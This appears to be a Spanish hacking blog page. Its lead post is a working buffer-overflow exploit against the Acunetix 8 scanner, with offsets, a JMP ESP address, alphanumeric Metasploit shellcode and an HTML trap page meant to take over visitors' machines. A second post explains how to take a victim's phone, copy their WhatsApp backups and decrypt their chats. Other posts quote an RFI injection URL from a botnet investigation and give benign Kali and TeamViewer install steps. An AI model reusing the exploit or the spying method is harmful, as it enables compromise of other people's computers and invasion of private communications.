HACKER ANGELWHITE GALC

viernes, 26 de diciembre de 2014

Hackeado Herramienta Juaker

Hola a todos , primeramente les presumo que rediseñe el Blog Creando un Template al puro estilo 1337day jojojo, espero que les agrade , esta todo mas simple y solo tiene lo que se necesita, se aceptan sugerencias las cuales pueden hacer en el grupo de FaceBook :)



Bueno comenzemos con el Post:






Hace unas semanas se dio a conocer un articulo donde se presentaba un "0-day" en WinRar el cual permitia al atacante hacer una ataque de suplantacion, aqui la noticia.

En esta ocacion presentaremos un nuevo 0-day similar al de winrar que ayudara a los administradores a protejer sus sitios web en contra de los famosos escaneos de vulnerabilidades.

Muchos administradores de sitios web les diran que la mayoria de las exploraciones realizadas en contra de sus sitios se llevan acabo con herramientas automatizadas como son: Nessus, Acunetix, y Appscan.

El 0-day que aplicaremos y en el que nos enfocaremos hoy sera contra la herramienta de escaneo web mas popular de todo el mundo (dije popular , no dije que fuera la mejor) Acunetix.

El POC lo haremos con Acunetix 8 build (20120704), ya que esta fue la version mas crackeada y repartida por toda la web y la mas utilizada por hackers novatos que estan comenzando actualmente.

En este Post no solo se revelara una nueva vulneravilidad, si no que demostrare una persepcion totalmente nueva de tratar con ataques externos.

En lugar de estar protegiendo sus sitios web una y otra y otra vez o gastando su dinero en la compra de WAF (Web Application Firewall), vamos a darle a los atacantes una razon para tener miedo, y hacerlos pensar 2 veces antes de presiones el boton de "SCAN" :)

En este post no se los detallaren a full, a que  me refiero? me refiero a mostrar a que no mostrare todos los escenarios de explotacion ni todos los sistemas operativos, pero si un decente POC que esperemos cresca en un nuevo esfuerzo de investigacion para las herramientas escaner de vulnerabilidades web.

Asi que manos a la obra !!




Acunetix es una poderosa herramienta para el análisis y la búsqueda de vulnerabilidades en sitios web.
Muchos atacantes novatos tienden a usar esta herramienta debido a la simplicidad de su uso.
Acunetix tambien ofrece a sus usuarios un simple escaneo que cubre muchos aspectos del análisis de vulnerabilidades.

Uno de los aspectos es la capacidad de escanear más dominios o subdominios relacionados con el sitio web escaneado.

Por ejemplo, si escaneamos mi blog "http://rootbyte.blogspot.mx/", obtendremos el resultado se muestra a continuación:




Después de investigar un poco acerca de esta opción, me di cuenta de que Acunetix inicia su asistente mediante el envío de una petición HTTP al sitio y muestra el resultado partir de la respuesta HTTP.

Además el asistente muestra los dominios relacionados externos, como las fuentes externas que utiliza el sitio, por ejemplo:

"<img Src=http://externalSource.com/someimg.png>"
"<a Href=http://externalSource.com/> </ a>"
  Etc. ..

Un análisis detallado revela que si se utiliza una longitud mayor de 268 Byte’s o mas como nombre de dominio externo Acunetix se congela, por lo que si queremos provocar un accidente en el escaner de nuestro atacante lo único que tenemos que hacer es poner algún tipo de fuente externa en nuestro sitio, que tener la longitud de 268 bytes o más, por ejemplo:


<A href= “http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA”>


Un vistazo rapido a esta aplicacion en el Inmmunity Debugger muestra que EDX se crasheo acausa de el fuzzing string que causo una violacion de acceso :D




A pesar de que la escritura corre sobre (SEH ) que probablemente se dará cuenta , mi consejo seria no ir por ese camino, creanme, lo intenté durante varios días y no tuve éxito (Debido al mecanismo SHE).

Sin embargo, tenemos otro problema con este exploit , y lo resumire en un apalabra: "ASCII" .

Acunetix obtiene su información sobre los dominios externos como una dirección URL.

Este hecho provoca que la cadena se convierte en explorador Web.
Mientras ASCII acepta caracteres como :
0x22 ( ") , 0x23 (#), 0x24 ($), 0x25 (%), 0x5C (\), 0x2F (/) y más ...

La cadena URL acepta sólo caracteres alfanuméricos imprimibles y "URL" convierte los caracteres especiales (pero con muy pocas excepciones).

Así que si mi fuente externa contiene uno de los caracteres especiales , que se convertirán en
"%RootByte".

Por ejemplo, el Char "comillas" (") se convertirá en 253.232 en la memoria porque es la traducción de 22 % .

Otro ejemplo que demuestra la codificación URL es: char "por ciento" (% ), que se convierte en 253.235 en la memoria.

Si quisieramos pasar por él tendria que ser mediante la construcción de un exploit que sólo contenga "AZ , az, 1-0 " y algunos caracteres especiales que no se conviertan en el proceso de URL ENCODE como:

 " ! () = } {" .

(Y se los vuelvo a repetir; no es un trabajo sencillo :( )

En resumen, tenía que encontrar una manera de arreglar el flujo de la aplicación con el fin de evitar la SEH (debido a la imposibilidad de eludir la protección de seguro SHE con cadenas URL ASCII solamente).

En fin, por último , he encontrado una manera :D !!

Con el fin de fijar el camino, EDX se tuvo que ser sobreescrito con una legible dirección de memoria.

Sin embargo, es importante recordar que EDX jamas a sido utilizado como esto, pero menos 8.


                                       MOVE ECX, DWORD PTR DS: [EDX-8];

Lo que significa que no importa qué dirección de memoria utilizemos, hay que añadir 8 a la dirección (en la explotación), convertir toda la dirección en imprimir String url, y esperemos lo mejor :)

Después de poco investigación (y mucho cafe) , encontré tal dirección.

La dirección estaba en "0x663030XX" y por suerte tenía la posibilidad de convertirse en el URL y sin malos caracteres especiales  -> "F005".

Después de jugar con el código me encontré con que la ubicación exacta de ese EDX:

Así que por ahora nuestro exploit se ve así:

<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>


Puse a correr nuevamente el Acunetix con ese payload y este fue el resultado:


Como se podran ver arriba, la EIP se ha sobrescrito!

Parece que la idea de fijar el flujo se ha realizado correctamente, ya que me permitió estar en una mejor posición de ataque (Sobrescritura EIP)

Junto a ella, nuestro espacio potencial para el código shell se presenta ahora en EAX y ESP.
Cuando se trata de la decisión de la elección de ESP o EAX, ESP es la mejor opción a partir de dos aspectos diferentes:

1.- ESP está apuntando directamente al principio de la cadena.

2.- Hay un espacio mucho mas grande para un código shell.

Después de elegir ESP, necesitaba encontrar una instrucción de "JMP ESP" en una dirección de la memoria que pudiera escribir una cadena URL (ASCII limitada como menciónamos arriba).

La dirección deseada esta localisada: 0x7e79515d (SXS.DLL) – (EN ASCII)  (“ ]Qy~ “).

Después de todo eso, nuestro código shell se supone que se veria así:


<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>

500f  = 0x66303035 : ubicación de memoria legible para la fijación del flujo de la aplicación que se ha dañado por el desbordamiento del búfer.

]Qy~ = 0x7e79515d (JMP ESP de SXS.DLL).

Bueno, en este momento estamos en la etapa semifinal, que ejecuta la aplicación en contra de la carga útil y que produce el siguiente resultado:




Genial !! aterrizamos exactamente en el inicio de la carga final.

El siguiente paso, será el uso del Windows shell adecuado, que se realizará sólo la cadena URL (ASCII limitada).

Dicha shell se ​​puede generar con "Metasploit" y se llama "Alphanumeric Shell".

Lo importante a recordar durante el uso de tal carga útil, es que la dirección de inicio de la carga debe ser presentada en uno de los registros. Si la carga se presenta en el ESP, el primer código de operación de la shell tiene qué ser "PUSH ESP".

En mi prueba de concepto, usé simple "CALC.EXE" shell code generado por "Metasploit que me llevó a la etapa final que es, explotar!

Por otra parte, nuestra debilidad es sin pasar con éxito la protección DEP, simplemente seleccionando sólo las direcciones que no se compilan con DEP.

Y debido al hecho a que el propio Acunetix no cumple con el DEP, este exploit debería funcionar perfectamente en Windows XP (para varias jejejeje) .

Después de alcanzar con éxito todos nuestros objetivos, vamos a ver en el trabajo final :)


<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB
0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9
JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKP
KZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQK
UNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6
LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15X
UXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN
KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>


Tenemos que recordar (como me gusta recordar XD) que para poder disfrutar de nuestro exploit, el hacker novato debe comprobar nuestro nombre de dominio adicional, en la lista de los dominios adicionales en ventana del asistente Acunetix.

¿Qué podemos hacer para hacer que nuestro nombre de dominio sea atractivo?

Pensando en ello, se me ocurrieron dos ideas:

1: Escribir un nombre de dominio que hará que los hackers escanen ese dominio, como, ADMIN.ControlMangment.1249874350345.rootbyte.blogspot.com.

2: El uso de varios dominios externos con los siguientes nombres:

"SQLINJECTION"
"XSS"
"CSRF"
Y así sucesivamente ...

Este tipo de nombres, probablemente llamaran la atencion del pirata informático.

El abajo esta el código escrito y demuestra lo engañoso:



<html>
<img src="http://SQLInjection........................................
.....................................................................
.....................................................................
............AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB
0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9
JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKP
KZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQK
UNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6
LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15X
UXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN
KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>

<img src="http://XSS.................................................
.....................................................................
.....................................................................
...">

<img src="http://CSRF................................................
.....................................................................
.....................................................................
....">

<img src="http://DeepScan............................................
.....................................................................
.....................................................................
........">

<img src="http://NetworkScan.........................................
.....................................................................
.....................................................................
...........">

<img src="http://DenialOfService.....................................
.....................................................................
.....................................................................
...............">

</html>



En conclusión,

Después de todo lo anterior, hemos creado una poderoso exploit que los hackers Newbie sin duda caeran.

Este exploit nos dará la capacidad de hacer todo contra los noobs que escanean nuestros sitios dia y noche, matando a nuestro tráfico o llenar todos los formularios del sitio web con pura basura y así sucesivamente ...

Además, puede ser utilizado con el fin de reunir información sobre las "fuerzas" hostiles que quieren atacar nuestra aplicación web.

PERO!

La más poderosa idea que me motivó a revelar este POC, es el hecho de que este exploit es como un poderoso Caza-noob! , Porque incluso si el atacante utiliza el  mas seguro proxy en el mundo, como "TOR" aun asipodremos tener el pleno control de su máquina.

Gracias a todos por leer mi post, espero que les guste :)


PD

Aqui les dejo un video con un completamnete funcional esploit  :)

Descifrando conversaciones de whatsapp





 


Para este método necesitaremos un poco de ingeniería social , SOLO un poco ya que necesitamos tener en nuestras manos un par de segundos en teléfono de nuestra victima :p

Bien ya que hayan aplicado su poderosa ingeniería social y tengan el teléfono de la victima en su mano haremos lo siguiente:

Lo primero sera entrar al playstore de la victima y anotar/memorizar o como quieran pero tener en mente el correo que utiliza:




Después nos vamos a las configuraciones (depende del dispositivo), buscas la sección donde están todas las cuentas en las que tenemos sesión activa:






En esa sección seleccionaremos o visualizaremos la cuenta de Google y haremos lo mismo de confirmar es la misma de PlayStore, en mi caso tenia 2, pero una es de la empresa donde trabajo, así que la elimine del ScreeShot y solo deje la de PlayStore la que uso de manera personal:






Listo, ahora pasamos al manejador de archivos, cada dispositivo tiene uno diferente, no importa cual utilices pero necesitas uno que te ayude a navegar por las carpetas del dispositivo:






Buen necesitamos navegar entre las carpetas dando las siguientes escalas; Archivos ---> WhatsApp --> Backup(Data Base).
Como les menciono en cada dispositivo puede variar pero es fácil navegar por las carpetas y encontrar lo que buscamos.




Una vez identificada y entrado a la carpeta, veremos varios archivos, estos son los respaldos cifrados de las conversaciones, algunos tendrán pocos otros tendrán muchos eso depende de la cantidad de uso que la persona le de a la APP.

Bien lo siguiente es de alguna manera copiar esos respaldos para llevárnoslos y poder trabajar con ellos, una idea puede ser que los pases por medio de bluetooth a tu propio dispositivo :)


Perfecto ! , ahora que ya tenemos lo necesario debemos entrar  a la pagina:

http://whatcrypt.com/?cmd=_decrypt



En ella utilizaremos lo que obtuvimos :p




Una vez colocados los datos damos click en la opcion : "Process / Download Zip" y descargaremos el archivo en nuestro escritorio.


Bien una vez que tengamos ese Zip necesitamos descargar la siguiente herramienta la cual nos ayudara con el siguiente paso:

http://www.mediafire.com/download/hw7m1590ld27vd5/WhatsApp_Decrypt.rar



Listo una vez que descarguemos, descomprimamos esta Tool, entraremos en sus carpeta y nos ubicaremos dentro de la carpeta : Whatsapp_Xtract_V2.1_2012-05-10-2

Lo siguiente sera instalar Phyton, es muy facil seguiremos los siguientes pasos:

1.- Entraremos en : Panel de control\Sistema y seguridad\Sistema
2.- Click en configuración avanzadas del sistema
3.- Click en Variables de Entorno
4.- En variables de usuario buscamos "PATH"
5.- Editamos "Path"
6.- Y colocamos "C:\Python34"






Ahora descomprimimos el archivo que nos dio la pagina de WhatCrypt en los pasos anteriores.
Una vez hecho copiamos el archivo dentro de la carpeta WhatsApp y lo remplazamos por el archivo que tiene el mismo nombre :)




Ya solo nos queda ubicar el archivo msgstore.dll y con click sobre el soltarlo sobre el archivo "whatsapp_xtract_drag'n'drop_database file (s) _here"



Una vez que lo soltemos automáticamente se creara un archivo llamado "msgstore.db.html" y su carpeta, cuando suceda esto en el CMD saldrá la leyenda que presiones cualquier tecla para continuar, al hacerlo automáticamente se abrirá su navegador predeterminado y voala hay estarán las conversaciones, fechas, números, etc, etc, etc





Espero pueda hacer los 2 POC , el del DOS al a la APP de una victima y este ultimo , claro ... de manera controlada y sin dañar a nadie ;)

Saludos y hasta la próxima :D

Destripando una Botnet y Rastreando a su Titiritero

 
Hace unos días un amigo me comentó que alguien había intentado acceder a su web y había tratado inyectar una URL, pero la forma de hacerlo no tenía sentido. Me llamó la atención y le dije que me enviara ejemplos de lo que habían tratado de hacer.

Intento de explotación de un RFI:

www.dominiovictima.com/gratis//appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt

Analizando la URL atacada podemos ver dos partes claramente diferenciadas, la url víctima y la inyección, en esta última vemos otra URL que contiene un archivo ".txt":

/appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt

Vamos a ver el contenido de ese sospechoso txt que podemos encontrar aquí:
[Les recomiendo descargar el txt para que puedan seguir paso a paso el post y entiendan varios puntos ;) ]

Bueno, una vez teniendo el txt veremos:


<?php
var $config = array("server"=>"irc.dominio.net", 
                     "port"=>"6667",   
                     "pass"=>"",  
                     "prefix"=>"BoT",  
                     "maxrand"=>"5",  
                     "chan"=>"#channel",  
                     "chan2"=>"#channel", 
                     "key"=>"senhadocanal",     
                     "modes"=>"+p",            
                     "password"=>"terpmak",          
                     "trigger"=>".",  
                     "hostauth"=>"127.0.0.1" 
                     );
?>

A simple vista lo primero que llama la atención son tres cosas, una cabecera con una muy buena descripcion de lo que hace el script, unas líneas de configuración y un footer con el nombre de una comunidad (-_-)! .
En este punto sabemos que lo que quiere el "Juaker" es controlar el host donde se aloja la web para convertirla en un bot que pueda utilizar en ataques DDoS, que el C&C está alojado en un canal IRC en un servidor controlado por el atacante y que los atacantes probablemente sean indonesios ya que buscando por el nombre de la comunidad en google podemos ver un blog donde publican scripts, aunque tambien puede ser que alguien los haya tomado y reutilizado (suele pasar :/ ). 
Para salir de dudas profundizamos un poco y nos conectamos al C&C de los atacantes al que accedemos sin restricción. Por los datos que nos devuelve el servidor vemos que hay bastantes usuarios conectados:
* There are 281 users

Pensando un poco me doy cuenta que los zombies conectados siguen un patrón de nomenclatura de este estilo UBoTXXXXX o ABoTXXXXX, por lo que el bot que nos ha expulsado tiene que reconocer ese patron y mantenerlos conectados así que nueva ip, nombre acorde a sus normas y BINGO, estamos dentro, preparamos un bot que se mantenga conectado y registramos los logs del IRC para ver que actividades siguen los "Juakers" XD .
Despues de  24 horas de registro ya tenemos datos suficientes:
  • Hay dos canales de actividad básica
  • Los delincuentes usan el indonesio como idioma principal
  • Utilizan diferentes escaners de vulnerabilidades que se basan en dorks las 24 horas del dia para ir consiguiendo hosts que puedan comprometer y unir a la botnet.
  • Las vulnerabilidades mas usadas son RFI, SQLi y LFI
Todos los hosts usados para comprometer otros  han sido vulnerados antes, a los que se suben herramientas que les sirven a los atacantes para sus propósitos, unos ejemplos de estas herramientas son: mailerx.php (Herramienta para spam), dumper.php(Herramienta de volcado de DB), nochex_apc.php (Shell PHP) y 3xp.php (Uploader).
Ahora ya conocemos el la manera enla que operanlos Titiriteros (administradores) de la botnet, pero vamos a ver en que negocios se mueven y porque tanto misterios jojojo. Listando los canales del IRC y leyendo los topics de cada uno de ellos veo que hay dos canales bastante poblados que coinciden con los nombres de dos administradores que están en el canal principal donde el topic es:
* [-=BKHT=-] * (®) Available : || Shell c99 & r57 | Mailer | cPanel Hack Host | SMTP | Rdp | WHM | Root | SSH || Contact : Nick || Email : email@gmail.com || Card Credit Frees PM xNx or Email email@host.us Send Card Credit Frees No Bacot (®)'

Esto sumando a otros topics donde se incluyen carders, mas scanners, etc...deja una clara visión de a lo que se dedica esta gente.

Por último y sin desviarnos entre todos los otros servidores IRC y webs que nos invitan a entrar desde los topics pasamos nmap al servidor IRC para ver que esconde:
PORT    STATE SERVICE
21/tcp    open      ftp
53/tcp    open      domain
80/tcp    open      http
110/tcp  open      pop3
143/tcp  open      imap
443/tcp  open      https
465/tcp  open      smtps
993/tcp  open      imaps
995/tcp  open      pop3s

Vemos que entre otras cosas hay un servidor web alojado así que probamos entrar y solo nos muestra una imagen, así que como eso no nos dice mucho vamos a ver el código fuente:
<a href="http://www.dominio.net" target="_blank"><img width="1250px" src="http://dominio.net/file/jcomers.jpg" border="0"/></td>

¿Serán que son buenos administradores?
ha, por lo visto no lo son, así que nos descargamos los archivos y los analizamos en local. Una vez descomprimido service.tgz nos encontramos la siguiente estructura de archivos:
audit@kali:~/Desktop/Botnet/services$ ls -al
total 3952
drwxrwxrwx 7 1002 1003    4096 jun 21 10:53 .
drwxr-xr-x 5 root root    4096 jul 12 11:39 ..
-rwxr-xr-x 1 1002 1003    3862 abr 14 16:46 anoperc
drwxr-xr-x 2 1002 1003    4096 jun 20 19:01 backups
-rw------- 1 1002 1003      55 jun 21 10:53 bot.db
-rw------- 1 1002 1003  229744 jun 21 10:53 chan.db
-rw------- 1 1002 1003      12 may 15 02:42 cs_autolimit.db
-rw-r--r-- 1 1002 1003     886 abr 14 16:46 example.chk
-rw-r--r-- 1 1002 1003   56916 abr 14 16:46 example.conf
-rw------- 1 1002 1003       6 jun 21 10:53 exception.db
-rw------- 1 1002 1003   40664 jun 21 10:53 hosts.db
-rw------- 1 1002 1003       0 jun 21 10:53 hs_request.db
drwx------ 2 1002 1003    4096 jul  5  2011 languages
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listchans
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listnicks
drwxr-xr-x 2 1002 1003    4096 jun 20 19:01 logs
drwxr-xr-x 3 1002 1003    4096 abr 14 16:46 modules
-rwxr-xr-x 1 1002 1003    5926 abr 14 16:46 mydbgen
-rw------- 1 1002 1003     333 jun 21 10:53 news.db
-rw------- 1 1002 1003  210180 jun 21 10:53 nick.db
-rw------- 1 1002 1003      20 jun 21 10:53 oper.db
-rw------- 1 1002 1003       0 jun 21 10:53 os_info.db
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 services
-rwxr-xr-x 1 1002 1003     895 mar  2 08:13 services.chk
-rw-r--r-- 1 1002 1003    6773 may 21 06:33 services.conf
-rw------- 1 1002 1003       5 may 21 06:33 services.pid
-rw-r--r-- 1 1002 1003   12654 abr 14 16:46 tables.sql
drwxr-xr-x 2 1002 1003    4096 abr 14 16:46 tools
-rwxr-xr-x 1 1002 1003   21516 abr 30  2012 xh

El directorio que mas me llama la atención es logs, así que vamos a su interior y vemos lo siguiente:
-rw------- 1 1002 1003 15589 jun 15 18:56 services.log.20130615
-rw------- 1 1002 1003 11762 jun 16 18:46 services.log.20130616
-rw------- 1 1002 1003 10969 jun 17 18:51 services.log.20130617
-rw------- 1 1002 1003 14184 jun 18 18:41 services.log.20130618
-rw------- 1 1002 1003 14016 jun 19 18:56 services.log.20130619
-rw------- 1 1002 1003 23509 jun 20 18:52 services.log.20130620
-rw------- 1 1002 1003  8884 jun 21 10:57 services.log.20130621

¿Que mejor que unos logs frescos para echar un vistazo? :p Como ya conocemos el nombre de los administradores del servidor IRC filtramos por sus nombres y nos encontramos con las ips desde las que se han conectado los administradores durante esas fechas:
[Jun 15 01:39:27 2013] NickServ: admin1!admin1@XXX.XXX.XXX.XXX identified for nick admin1 
[Jun 15 21:10:45 2013] NickServ: admin1!admin1@XXX.XXX.XXX.XXX identified for nick admin1

Todas las ips extraídas son de servidores comprometidos, pero algunas de ellas siguen vivas y se repiten a lo largo del log, por lo que entrando a ellos podríamos analizar la IP original del atacante, por mi parte es todo si gustan ustedes lo pueden seguir mas adelante XD y ver hasta donde les pueden hacer ver su suerte a los delincuentes :p ,

Hay algunos datos que omití o información que no anote pero el post tiene lo suficiente como para que se den una idea básica sobre este tema :)



jueves, 25 de diciembre de 2014

Convierte tu Android en una navaja suiza de la seguridad informática

Galaxy S4 corriendo Kali Linux 

Anteriormente hemos explicado como utilizar nuestro dispositivo Android para realizar pruebas de seguridad informática esta vez convertiremos nuestro dispositivo en una potente herramienta para hacer una variedad de pruebas y ataques de seguridad.
Se trata de instalar Kali Linux una distribución especializada para la auditoria de seguridad en nuestro Android.
Esta distribución de Linux ofrece distintas herramientas para realizar pruebas de penetración, y se encuentran debidamente ordenadas por categoría en su menú principal.

Requisitos

  • Android 2.1 o mayor, rooteado.
  • Al menos 5GB libres de espacio en memoria interna o externa.

Instrucciones

  1. Instalar la aplicación Complete Linux Installer desde Google Play.
  2. Instalar la aplicación VNC per Android desde Google Play
  3. Descargamos la imagen en el ordenador desde aquí y luego las colocamos dentro de la memoria SD de nuestro Android.
  4. Abrimos la aplicación Complete Linux Installer, y en el menú izquierdo escogemos Launch, en el despegable elegimos Kali y luego en Settings debemos ingresar a Edit, ahí debemos navegar en los directorios y buscar la imagen que colocamos desde el ordenador en 
    nuestrodispositivo.


    Escogiendo la imagen desde la SD en  Android 3
  5. Escogemos Start Linux y abrirá una terminal, debemos presionar la tecla Enter en el teclado, nos comenzará a pedir una serie de configuraciones, podemos dejar las sugeridas. Entre los datos que pide esta la resolución de pantalla con que iniciaremos VNC y el usuario y password de nuestro Kali.
  6. Abrimos la aplicación VNC per Android y configuramos el usuario y password que colocamos en la terminal en los campos respectivos (Nickname y Password), en Address colocamos localhost, el puerto lo dejamos en 5900.
  7. Damos Click en Connect, y si todo salió bien deberíamos haber ingresado a nuestro entorno gráfico de Kali Linux.
Ademas de usar Kali desde nuestro Android también hay otras distribuciones que podemos instalar.

Distribuciones Linux que soportan ARM

  • Ubuntu 13.04
  • Ubuntu 13.10
  • Debian
  • Debian Testing
  • ArchLinux
  • Kali Linux
  • Fedora 19
  • openSUSE 12.3


Disfrutemos de nuestras herramientas preferidas de esta famosa distribución para pruebas de penetración y tengamos un Happy Hacking!, siempre bajo su propia responsabilidad.


martes, 23 de diciembre de 2014

COMO INSTALAR Team Viewer En Kali Linux

How do I install TeamViewer on my Linux distribution?

Graphical installation

For installing TeamViewer, we recommend using the graphical installer. The graphical installer can be invoked by (double) clicking the downloaded package.
If this is not the case and, e.g. the Archive Manager opens up, open the context menu instead (right-click on the downloaded package). Depending on your distribution you will get different possibilities to install the package, e.g. “Open with software installation”, “Open with GDebi package installer”, “Open with Ubuntu Software Center”, or “Open with> QApt package installer”.

RedHat, CentOS, Fedora, SUSE

You need the teamviewer_linux.rpm package.
For installing TeamViewer, we recommend using the graphical installer.
If you prefer to use the command line or if there is no graphical installer available you can use either one of these commands as an administrator:
  • yum install teamviewer_linux.rpm (recommended, as it will install missing dependencies)
  • rpm -i teamviewer_linux.rpm
In case “yum” is asking for a missing public key, you can download it here and import the key by using following command as an administrator:
  • rpm --import TeamViewer_Linux_PubKey.asc
After importing the public key, please execute the “yum”-command again to install the TeamViewer rpm.

Debian, Mint, Ubuntu, Kubuntu, Xubuntu…

For 32-bit DEB-systems you need the teamviewer_linux.deb package.
For 64-bit DEB-systems without Multiarch you need the teamviewer_linux_x64.deb package. Please see note on Multiarch below.
For installing TeamViewer, we recommend using the graphical installer.
If you prefer to use the command line or if there is no graphical installer available you can use either one of these commands as an administrator:
For the 32-bit package:
  • dpkg -i teamviewer_linux.deb
For the 64-bit package:
  • dpkg -i teamviewer_linux_x64.deb
In case “dpkg” indicates missing dependencies, complete the installation by executing the following command:
  • apt-get install -f
Notes to Multiarch: On newer 64-bit DEB-systems with Multiarch-support (Debian 7) teamviewer_linux_x64.deb cannot be installed because the package ia32-libs is not available anymore on these systems. In this case you can use teamviewer_linux.deb instead.
In case you get the error “wrong architecture i386” you have to execute the following command lines as an administrator:
  • dpkg --add-architecture i386
  • apt-get update
For further information: http://wiki.debian.org/Multiarch/HOWTO

Other platforms

TeamViewer does also run on a lot of other distributions, although not officially supported.
You can use our tar.gz package which will only create files in the directory where you extract it to. The tar.gz package works, if the libraries that TeamViewer depends on are installed which is often the case.
On Mandriva/Mageia TeamViewer can be installed using the following command as an administrator:
  • urpmi --force --allow-nodeps teamviewer_linux.rpm
On PCLinuxOS TeamViewer can be installed from the repository. The package is provided by the PCLinuxOS team.

Run TeamViewer without installation

The tar.gz package can be run without installation and doesn’t even need root permissions.
After downloading the tar.gz package, you need to extract it to the directory you want to run it from. Simply click on “teamviewer” to start a TeamViewer instance.
The tar.gz package works, if the libraries TeamViewer depends on are installed which is often the case.
You can identify missing libraries by running the command as an administrator:
  • tv-setup --checklibs

ExifTool by Phil Harvey

ExifTool is a platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files. ExifTool supports many different metadata formats including EXIF, GPS, IPTC, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP and ID3, as well as the maker notes of many digital cameras by Canon, Casio, FLIR, FujiFilm, GE, HP, JVC/Victor, Kodak, Leaf, Minolta/Konica-Minolta, Nikon, Nintendo, Olympus/Epson, Panasonic/Leica, Pentax/Asahi, Phase One, Reconyx, Ricoh, Samsung, Sanyo, Sigma/Foveon and Sony.
